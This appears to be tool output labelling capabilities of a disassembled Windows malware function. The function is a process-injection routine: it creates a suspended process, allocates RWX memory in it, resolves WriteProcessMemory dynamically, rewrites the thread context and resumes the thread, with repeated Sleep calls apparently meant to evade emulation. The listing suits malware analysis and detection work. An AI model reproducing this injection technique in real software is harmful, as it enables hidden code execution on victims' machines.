Function at 0x407d3d
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
and dword [ebp - 0x428], 0
push 0x40
push 0
lea eax, [ebp - 0x424]
push eax
call fcn.0040e810
add esp, 0xc
and dword [ebp - 0x2d0], 0
push 0x2c8
push 0
lea eax, [ebp - 0x2cc]
push eax
call fcn.0040e810
add esp, 0xc
and dword [ebp - 0x3e0], 0
push 0x44
push 0
lea eax, [ebp - 0x428]
push eax
call fcn.0040e810
add esp, 0xc
push 0x10
push 0
push dword [ebp + 0x10]
call fcn.0040e810
add esp, 0xc
push 0x2cc
push 0
lea eax, [ebp - 0x2d0]
push eax
call fcn.0040e810
add esp, 0xc
mov dword [ebp - 0x428], 0x44
mov dword [ebp - 0x3fc], 1
xor eax, eax
mov word [ebp - 0x3f8], ax
mov byte [ebp - 0x3d8], 0
push 0xfe
push 0
lea eax, [ebp - 0x3d7]
push eax
call fcn.0040e810
add esp, 0xc
push 0xff
lea eax, [ebp - 0x3d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x3d5], 0
push dword [ebp + 0x10]
lea eax, [ebp - 0x428]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x3d8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
jne 0x407e4a
xor eax, eax
jmp 0x40807d
push 0x40
push 0x3000
push dword [ebp + 0xc]
push 0
mov eax, dword [ebp + 0x10]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0
jne 0x407e77
xor eax, eax
jmp 0x40807d
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.WriteProcessMemory
push 0x422a68
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3dc], eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0x2d4]
mov eax, dword [ebp + 0x10]
push dword [eax]
call dword [ebp - 0x3dc]
test eax, eax
jne 0x408005
xor eax, eax
jmp 0x40807d
and dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d0], 0x10007
lea eax, [ebp - 0x2d0]
push eax
mov eax, dword [ebp + 0x10]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
jne 0x40803c
xor eax, eax
jmp 0x40807d
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x2d0]
push eax
mov eax, dword [ebp + 0x10]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
jne 0x40806e
xor eax, eax
jmp 0x40807d
mov eax, dword [ebp + 0x10]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
leave
ret